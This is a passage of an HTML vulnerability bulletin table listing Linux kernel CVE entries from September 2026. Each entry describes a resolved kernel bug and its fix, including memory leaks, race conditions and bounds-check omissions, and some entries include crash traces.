&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf, s390: Clear fetch destination on faulting arena atomic Same missing register clear as on riscv64. A RMW atomic on an arena pointer is converted to BPF_PROBE_ATOMIC and gets an exception table entry, but bpf_jit_probe_atomic_pre() only fills in the arena base and the probe offset, leaving probe-&amp;gt;reg at the -1 that bpf_jit_probe_init() set, which bpf_jit_probe_post() writes into the entry and ex_handler_bpf() then reads back as &quot;there is nothing to clear&quot;. That is right for a plain BPF_{ADD,AND,OR,XOR}, which only writes memory, but an RMW carrying BPF_FETCH also reads the old value into a register: src_reg for BPF_{ADD,AND,OR,XOR} | BPF_FETCH and BPF_XCHG, and r0 for BPF_CMPXCHG. So on a fault over an unmapped arena page the program resumes at the landing pad with whatever that register held before the atomic instead of the 0 that every other BPF_PROBE_* access delivers. Fill probe-&amp;gt;reg in from bpf_atomic_load_reg(). Unlike x86-64 and arm64, s390x does not report arena violations from its exception handler, so there is no access direction to correct here, only the missing register clear.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90211&quot; target=&quot;_blank&quot;&gt;CVE-2026-90211&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: arm64/efi: Avoid voluntary preemption with efi_mm installed Gus reports a bad kernel memory access when using software PAN (CONFIG_ARM64_SW_TTBR0_PAN=y) on a machine with support for EFI runtime services: Unable to handle kernel access to user memory outside uaccess routines at virtual address 00000000f322ff30 Mem abort info: ESR = 0x0000000096000004 FSC = 0x04: level 0 translation fault Internal error: Oops: 0000000096000004 [#1] SMP Workqueue: efi_rts_wq efi_call_rts pstate: 80400005 (Nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : efi_call_rts+0xd8/0x288 Call trace: efi_call_rts+0xd8/0x288 (P) process_one_work+0x178/0x4f8 worker_thread+0x194/0x328 This is because the fpsimd context management code called from __efi_fpsimd_begin() can preempt voluntarily, returning later to the EFI code with an incorrect value for TTBR0_EL1 thanks to the deferred mm switching used by the software PAN implementation. Since EFI runtime services cannot preempt voluntarily and because the fpsimd switching code does not rely on the TTBR0_EL1 mappings, simply reorder the fpsimd switch so that it occurs before we change the page-table.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90212&quot; target=&quot;_blank&quot;&gt;CVE-2026-90212&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: firewire: core: fix memory leak in error path of build_tree() In the error path of build_tree(), node instances can remain in the local linked list when the function returns. Whenever an invalid value is detected in the self ID sequence, each allocated node instance is either an entry in the linked list or an entry in the ports array of its parent node. Therefore, the allocate node instances can be safely released by traversing the linked list from its head. Release the remaining node instances with for_each_fw_node() before returning to the caller.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90213&quot; target=&quot;_blank&quot;&gt;CVE-2026-90213&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ASoC: xilinx: formatter_pcm: fix stream_data leak on open error In xlnx_formatter_pcm_open(), stream_data is allocated and adata-&amp;gt;play_stream or adata-&amp;gt;capture_stream is assigned early. If a later step, such as snd_pcm_hw_constraint_step() or snd_pcm_hw_constraint_integer(), fails, the function returns the error immediately. ALSA does not call the close callback when open fails, so stream_data is leaked and the stream pointer is left dangling, pointing to a substream that ALSA frees. A later interrupt would then call snd_pcm_period_elapsed() on the freed substream. Free stream_data and clear the stream pointer on the error paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90214&quot; target=&quot;_blank&quot;&gt;CVE-2026-90214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: mtd: ubi: Release device reference on busy detach ubi_detach_mtd_dev() obtains a device reference through ubi_get_device() before checking whether the UBI device is busy. The busy return path drops ubi-&amp;gt;ref_count but leaves the device reference held, so the device object cannot be released after a later detach. Drop the device reference before returning -EBUSY.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90215&quot; target=&quot;_blank&quot;&gt;CVE-2026-90215&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ubi: Fix rollback for explicit UBI device numbers ubi_init_attach() rolls back module initialization failures by scanning ubi_devices[0..i-1], where i is the mtd= parameter index. That assumes the parameter index matches the UBI device number. That assumption is not true when mtd= specifies an explicit ubi_num. A successfully attached device can be stored at a higher ubi_devices[] slot, and a later failure can miss it during rollback. Scan the full ubi_devices[] array and detach by the actual array index, matching the way UBI devices are stored.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90216&quot; target=&quot;_blank&quot;&gt;CVE-2026-90216&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/cma: Fix WARNING in res_to_rt syzbot reported a WARN_ON(!res-&amp;gt;dev) in res_to_rt() triggered via addr_handler() during asynchronous address resolution: &quot; WARNING: drivers/infiniband/core/restrack.c:138 at res_to_rt+0x1c4/0x230 CPU#1: kworker/u8:4/59 Modules linked in: CPU: 1 UID: 0 PID: 59 Comm: kworker/u8:4 Not tainted syzkaller #0 PREEMPT(full) Hardware name: Google Compute Engine, BIOS Google 07/24/2026 Workqueue: ib_addr process_one_req RIP: 0010:res_to_rt+0x1c4/0x230 drivers/infiniband/core/restrack.c:138 RSP: 0018:ffffc9000201f850 EFLAGS: 00010293 RAX: ffffffff88d00ce5 RBX: ffff88807f0fd4f8 RCX: ffff88801e6e0000 RDX: 0000000000000000 RSI: ffffffff8fd996f0 RDI: 0000000000000003 RBP: 0000000000000000 R08: ffff88801e6e0000 R09: 000000000000000a R10: 0000000000000009 R11: 0000000000000000 R12: dffffc0000000000 R13: 1ffff1100fe1fa9f R14: 0000000000000000 R15: 0000000000000003 FS: 0000000000000000(0000) GS:ffff888125012000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00001d559c3d2000 CR3: 0000000077c4c000 CR4: 00000000003526f0 Call Trace: &amp;lt;TASK&amp;gt; rdma_restrack_add+0x5a/0x8a0 drivers/infiniband/core/restrack.c:236 addr_handler+0x41a/0x5a0 drivers/infiniband/core/cma.c:3534 process_one_req+0x2eb/0x540 drivers/infiniband/core/addr.c:624 process_one_work kernel/workqueue.c:3375 [inline] process_scheduled_works+0xc4e/0x1630 kernel/workqueue.c:3458 worker_thread+0xa47/0xfb0 kernel/workqueue.c:3539 kthread+0x388/0x470 kernel/kthread.c:436 ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245 &amp;lt;/TASK&amp;gt; &quot; In addr_handler(), cma_acquire_dev_by_src_ip() is called to populate id_priv-&amp;gt;cma_dev and bind the associated ib_device to id_priv-&amp;gt;id.device. If cma_acquire_dev_by_src_ip() returns an error (non-zero status), the ID remains unassociated with any RDMA device. Previously, rdma_restrack_add(&amp;amp;id_priv-&amp;gt;res) was invoked unconditionally even when cma_acquire_dev_by_src_ip() failed, passing a resource with a NULL dev pointer and triggering the WARN_ON assertion in res_to_rt(). Fix this by only adding the resource to restrack when acquiring the device succeeds.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90218&quot; target=&quot;_blank&quot;&gt;CVE-2026-90218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: RDMA/cxgb4: Free debugfs on registration failure c4iw_alloc() creates the per-device debugfs tree (dev-&amp;gt;debugfs_root via setup_debugfs()), but it is removed only in c4iw_remove(), not in c4iw_dealloc(). When RDMA device registration fails, the registration worker&#039;s err_dealloc_ctx path calls c4iw_dealloc() directly, bypassing c4iw_remove(), so the debugfs dentries leak and outlive the freed c4iw_dev. Move debugfs_remove_recursive() into c4iw_dealloc() so every path that frees ctx-&amp;gt;dev also removes its debugfs tree.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90219&quot; target=&quot;_blank&quot;&gt;CVE-2026-90219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: ALSA: seq: Don&#039;t leak the extension cell pointer in the bounce payload The bounce_error_event() embeds the failed event in the bounce payload by pointing data.ext.ptr at it. When that event is a queued variable-length event, its own data.ext.ptr holds the address of its first extension cell, put there by snd_seq_event_dup(). The payload goes out verbatim through snd_seq_expand_var_event(), so the address reaches userspace. That is the same address commit 705dd6dcbc0e (&quot;ALSA: seq: Clear variable event pointer on read&quot;) removed from the event header. The read path still clears it there, just above the call that expands the payload. Embed a sanitised copy instead, treated exactly as snd_seq_read() treats the header. A stack copy is enough because delivery is synchronous and snd_seq_event_dup() copies before returning. An unprivileged client reaches this by setting SNDRV_SEQ_FILTER_BOUNCE, queueing a variable-length event to a port that does not exist and reading the bounce back. Eight bytes on 64-bit, from its own pool.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90220&quot; target=&quot;_blank&quot;&gt;CVE-2026-90220&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfc: nci: fix use of uninitialized memory in CORE_INIT_RSP parsing nci_core_init_rsp_packet_v1() and nci_core_init_rsp_packet_v2() parse the CORE_INIT_RSP packet without validating that the skb contains enough data. A malformed response (e.g. injected via virtual_ncidev) can declare a large num_supported_rf_interfaces while providing insufficient data, causing reads of uninitialized slab memory. This is later used in nci_init_complete_req(), triggering a KMSAN uninit-value warning. Add skb length checks before accessing packet fields: - Validate the skb has at least 1 byte for the status field. - Validate the skb can hold the fixed-size header before parsing. - In v2, bounds-check each variable-length rf_interface entry and its extension parameters within the parsing loop. - In v1, verify the skb is large enough for both the variable-length rf_interfaces array and the trailing rsp_2 structure.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90221&quot; target=&quot;_blank&quot;&gt;CVE-2026-90221&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfc: pn533: hold a reference to the request skb during send_frame __pn533_send_async() publishes the command and then calls dev-&amp;gt;phy_ops-&amp;gt;send_frame(). Once dev-&amp;gt;cmd is set, an incoming frame can be matched to this command: the I2C threaded IRQ runs pn533_recv_frame(), which queues cmd_complete_work, and pn533_send_async_complete() frees cmd-&amp;gt;req with consume_skb(). On the I2C transport, pn533_i2c_send_frame() still dereferences the same skb after i2c_master_send() returns, so a completion that races the send can free the skb while the transport is still using it. The request skb is owned by the command object and may be freed by command completion at any time after dev-&amp;gt;cmd is published, so the transport send path must not assume it stays alive. Hold a temporary reference to the request skb across the send_frame() call so the transport always sees a live skb even if completion races the send. Add a pn533_send_cmd_frame() helper and use it from all three send paths.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90222&quot; target=&quot;_blank&quot;&gt;CVE-2026-90222&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nfc: llcp: avoid userspace overflow on invalid optlen nfc_llcp_getsockopt() casts optval to (u32 __user *) for put_user(), so the kernel always stores 4 bytes regardless of the caller-supplied optlen. The existing min_t(u32, len, sizeof(u32)) only clamps the length reported back to userspace; it does not constrain the store. A call with optlen &amp;lt; 4 therefore writes past the user buffer, violating the getsockopt(2) contract for all five supported optnames. Reject any call with optlen &amp;lt; sizeof(u32) up front. &#039;len&#039; is int, so a plain size comparison would promote a negative optlen to size_t and slip past the check; an explicit &#039;len &amp;lt; 0&#039; test is added first to catch negative values before the size compare.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90226&quot; target=&quot;_blank&quot;&gt;CVE-2026-90226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: amt: Don&#039;t support cross-netns setup. When a lower device is unregistered, amt_device_event() tries to unregister its upper AMT device, but it has two problems. 1. amt_lookup_upper_dev() looks up an upper device in the lower device&#039;s netns only 2. amt_device_event() unregisters a single upper device only If AMT device is created on a lower device in another netns, removing the lower device triggers the splat below and gets stuck until all upper devices are removed. [0] The cross-netns setup seems unintentional considering 1. and the following points: * amt_link_setup() sets dev-&amp;gt;netns_immutable to true * skb_scrub_packet() is not called in the fast path * iproute2 binary fails to find cross-netns lower device via link-netns: # ip -n ns1 link add amt0 link-netns ns2 type amt dev veth1 Cannot find device &quot;veth1&quot; Instead of supporting it properly and preparing for per-netns netdev unreg, let&#039;s forbid cross-netns setup. Note that the problem 2. needs a separate fix. [0]: WARNING: net/core/dev.c:12518 at unregister_netdevice_many_notify+0x1cce/0x2250, CPU#48: ip/2031 Modules linked in: CPU: 48 UID: 0 PID: 2031 Comm: ip Not tainted 7.2.0-rc5+ #27 PREEMPT(full) Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014 RIP: 0010:unregister_netdevice_many_notify (net/core/dev.c:12518) Code: 89 ef e8 d5 52 ae fe e9 d0 f4 ff ff 48 8d 3d f9 3b 9c 02 48 c7 c6 c0 0b 63 84 ba ab 1f 00 00 67 48 0f b9 3a e9 65 ff ff ff 90 &amp;lt;0f&amp;gt; 0b 90 eb 81 48 8d 3d f6 3b 9c 02 48 c7 c6 c0 0b 63 84 ba e2 1f RSP: 0018:ffffc90004abf160 EFLAGS: 00010212 RAX: ffff888104d38260 RBX: ffff88800b0911b8 RCX: dffffc0000000000 RDX: 0000000000000000 RSI: 0000000000000008 RDI: ffffffff85b9f880 RBP: ffffc90004abf2d0 R08: ffffffff85b9f887 R09: 1ffffffff0b73f10 R10: dffffc0000000000 R11: fffffbfff0b73f11 R12: ffff88800b091d08 R13: ffff88800b091178 R14: dffffc0000000000 R15: ffff88800b091000 FS: 00007f555b86c600(0000) GS:ffff8881942a0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 0000562107d489c0 CR3: 0000000109a40002 CR4: 0000000000372ef0 Call Trace: &amp;lt;TASK&amp;gt; rtnl_dellink (net/core/rtnetlink.c:3632 net/core/rtnetlink.c:3674) rtnetlink_rcv_msg (net/core/rtnetlink.c:7112) netlink_rcv_skb (net/netlink/af_netlink.c:2556) netlink_unicast (net/netlink/af_netlink.c:1319) netlink_sendmsg (net/netlink/af_netlink.c:1900) ____sys_sendmsg (net/socket.c:775) __sys_sendmsg (net/socket.c:2738) do_syscall_64 (arch/x86/entry/syscall_64.c:63) entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121) ... unregister_netdevice: waiting for veth0 to become free. Usage count = 7 ref_tracker: netdev@ffff88800d7496d8 has 3/3 users at __netdev_adjacent_dev_insert (./include/linux/netdevice.h:4525 ./include/linux/netdevice.h:4554 net/core/dev.c:8791) __netdev_upper_dev_link (net/core/dev.c:8879 net/core/dev.c:8963) netdev_upper_dev_link (net/core/dev.c:9009) amt_newlink (drivers/net/amt.c:3321)&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90232&quot; target=&quot;_blank&quot;&gt;CVE-2026-90232&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: nvme-pci: release descriptor pools on probe failure The per-NUMA-node descriptor DMA pools are created lazily from nvme_init_hctx_common() once the admin tag set is allocated, but they are only destroyed in nvme_remove() via nvme_release_descriptor_pools(). Any probe failure after the admin tag set has been allocated unwinds through the out_disable label and nvme_pci_free_ctrl(), neither of which releases the pools, leaking the dma_pool objects. Release the descriptor pools in the out_disable error path. It must not be added to nvme_pci_free_ctrl(), as that would double-free against nvme_remove() on the normal teardown path.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90233&quot; target=&quot;_blank&quot;&gt;CVE-2026-90233&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: NFSD: Release the export reference when reaping open stateids nfs4_put_stid() releases the svc_export tracked in nfs4_stid.sc_export, but free_ol_stateid_reaplist() frees open and lock stateids by calling -&amp;gt;sc_free() directly, bypassing that path. An open stateid takes an sc_export reference in nfs4_open() and a lock stateid takes its own in init_lock_stateid(); both reach free_ol_stateid_reaplist() through their normal teardown, the open stateid via release_open_stateid() and the lock stateid via nfsd4_release_lockowner(), each through put_ol_stateid_locked(). The reference is therefore never dropped, pinning the export and blocking unmount for the lifetime of the stateid. Release sc_export in free_ol_stateid_reaplist() the way nfs4_put_stid() does. -&amp;gt;sc_free() runs once per stateid, and a stateid reaches free_ol_stateid_reaplist() or nfs4_put_stid() but never both, so the reference is dropped exactly once. Revoked stateids reach this path with sc_export already cleared by drop_stid_export(), so they are skipped rather than double-freed. nfs4_put_stid() itself read sc_export before acquiring cl_lock. drop_stid_export() clears that field and releases the reference under cl_lock, so a concurrent revocation could drop the export in the window between the read and the final put, releasing the same reference twice. Read sc_export while cl_lock is held so the two paths serialize and the reference is released exactly once.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90236&quot; target=&quot;_blank&quot;&gt;CVE-2026-90236&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: amd: isp4: fix self-deadlock in isp4sd_pwron_and_init() error path isp4sd_pwron_and_init() holds ops_mutex via guard(mutex) and, on any init failure, jumps to err_deinit and calls isp4sd_pwroff_and_deinit(). That helper takes the same ops_mutex, re-acquiring a non-recursive mutex already held by the current thread, so any init failure deadlocks. Unwind the error path in stages instead, releasing only what each failure point acquired. This also avoids the issues that an unconditional teardown would hit at the earlier failures, such as a runtime-PM underflow from pm_runtime_resume_and_get() and MMIO access while the device is unpowered.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90238&quot; target=&quot;_blank&quot;&gt;CVE-2026-90238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: media: amd: isp4: release partial allocations in isp4if_alloc_fw_gpumem() isp4if_alloc_fw_gpumem() allocates several GPU memory pools in sequence. If one of them fails, it jumps to error_no_memory and returns -ENOMEM without releasing the pools that were already allocated, leaking them. Release the already-allocated pools before returning. isp4if_gpu_mem_free() is a no-op on pools that were not allocated, so calling isp4if_dealloc_fw_gpumem() here safely frees exactly the pools that succeeded. isp4if_gpu_mem_free() previously logged an error for a NULL entry, which is a normal case during partial-allocation cleanup, so make it silent.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90239&quot; target=&quot;_blank&quot;&gt;CVE-2026-90239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iommu/vt-d: Fix iopf_refcount leak on RID domain replacement intel_iommu_attach_device() enables IOPF for the new domain but never disables it for the old one. device_block_translation(), called at the start of the function, tears down translation but does not touch any IOPF state; blocking_domain_attach_dev() has to call iopf_for_domain_remove() explicitly before invoking it for exactly this reason. identity_domain_attach_dev() has the same problem. Its comment claims that no PRI handling is needed because the device has been put in the blocking state, but the blocking state and the IOPF reference count are independent of each other. As a result, replacing a domain that has an iopf_handler with another domain at RID level leaks a reference in info-&amp;gt;iopf_refcount. The count never drops back to zero, so iopf_queue_remove_device() is never called and iommu_disable_pci_pri() triggers its WARN_ON(info-&amp;gt;iopf_refcount) when the device is released. The PASID paths already handle this correctly by way of iopf_for_domain_replace(); convert the two RID paths to do the same. Using the replace helper rather than a bare remove keeps the enable before the disable, so the reference count does not transiently reach zero and evict the device from the IOPF queue.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90242&quot; target=&quot;_blank&quot;&gt;CVE-2026-90242&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: fbdev: kyro: Validate overlay viewport coordinates The overlay viewport end coordinates are computed from the viewport origin and dimensions using 32-bit unsigned arithmetic. Large input values can cause these calculations to wrap around before the resulting coordinates are passed to SetOverlayViewPort(). SetOverlayViewPort() packs the viewport coordinates into 16-bit register fields. The X coordinates are additionally adjusted by +2 and +1 before being written. Validate the coordinate calculations for 32-bit wraparound and ensure that the adjusted coordinates fit within their 16-bit register fields before calling SetOverlayViewPort(). Found by Linux Verification Center (linuxtesting.org) with SVACE.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90245&quot; target=&quot;_blank&quot;&gt;CVE-2026-90245&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: bpf: Fix mmap_lock leak in irq_work path stack_map_get_build_id_offset() introduced a per-CPU irq_work to defer mmap_read_unlock() from NMI context, and bpf_find_vma() later reused the same mmap_unlock_work. Both callers only check whether the work is busy before taking mmap_lock, so a nested caller can reuse the slot before the first caller queues it. Two read locks may then be acquired while only one deferred unlock runs, leaking a read lock and blocking exit_mmap(). Reserve the per-CPU slot before mmap_read_trylock(). Use the same wrapper in stackmap and bpf_find_vma() so both callers release the reservation on trylock failure. Keep rejecting the slot while the irq_work remains busy. Release it after the irq_work callback unlocks the mm.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90247&quot; target=&quot;_blank&quot;&gt;CVE-2026-90247&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: net/sched: cls_api: fix teardown of an adopted proto on insert-race loss In tc_new_tfilter() the create branch sets tp_created = 1 before calling tcf_chain_tp_insert_unique(). When the caller loses the race (another request inserted a proto at the same chain/prio first), insert_unique() destroys the caller&#039;s own tp_new and returns the winner&#039;s proto with an extra reference. tp_created was never cleared, so the loser&#039;s errout path treated the winner&#039;s live proto as its own and called tcf_chain_tp_delete_empty() on it, silently unlinking an active classifier that the winning request already advertised via RTM_NEWTFILTER. Track the outcome of the insert step in a single tri-state variable so each errout path reacts correctly: - TP_NOT_CREATED: no proto created; pursue the old path. - TP_CREATED: proto inserted successfully; same code path as before. - TP_NOT_OWNED: New - lost the insert race; tp is another request&#039;s proto (chain ref already released by tp_new&#039;s destroy) Both errout reactions are single expressions derived from the state. This fix is motivated by the Sashiko&#039;s automated review of Patch (net/sched: cls_api: Always acquire rtnl_lock when destroying locked classifiers) [1][2]. The review identified the silent-unlink behaviour of an adopted proto&#039;s teardown when a request loses the tcf_chain_tp_insert_unique() race. [1] https://sashiko.dev/#/patchset/20260801125632.360365-1-jhs%40mojatatu.com [2] https://netdev-ai.bots.linux.dev/sashiko/#/patchset/20260801125632.360365-1-jhs%40mojatatu.com&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90248&quot; target=&quot;_blank&quot;&gt;CVE-2026-90248&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
&lt;td&gt;In the Linux kernel, the following vulnerability has been resolved: iio: light: gp2ap002: Fix unbalanced runtime PM on repeated event writes The IIO core does not filter duplicate writes to the event enable attribute, so writing the same value twice invokes write_event_config() twice. Enabling twice leaks a runtime PM reference, preventing the device from ever suspending again; disabling twice underflows the usage count and triggers a &quot;Runtime PM usage count underflow&quot; warning. Bail out early when the requested state matches the current state. While at it, switch to pm_runtime_resume_and_get() so a failed resume is propagated to userspace instead of silently marking the event enabled.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90249&quot; target=&quot;_blank&quot;&gt;CVE-2026-90249&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Linux--Linux&lt;/td&gt;
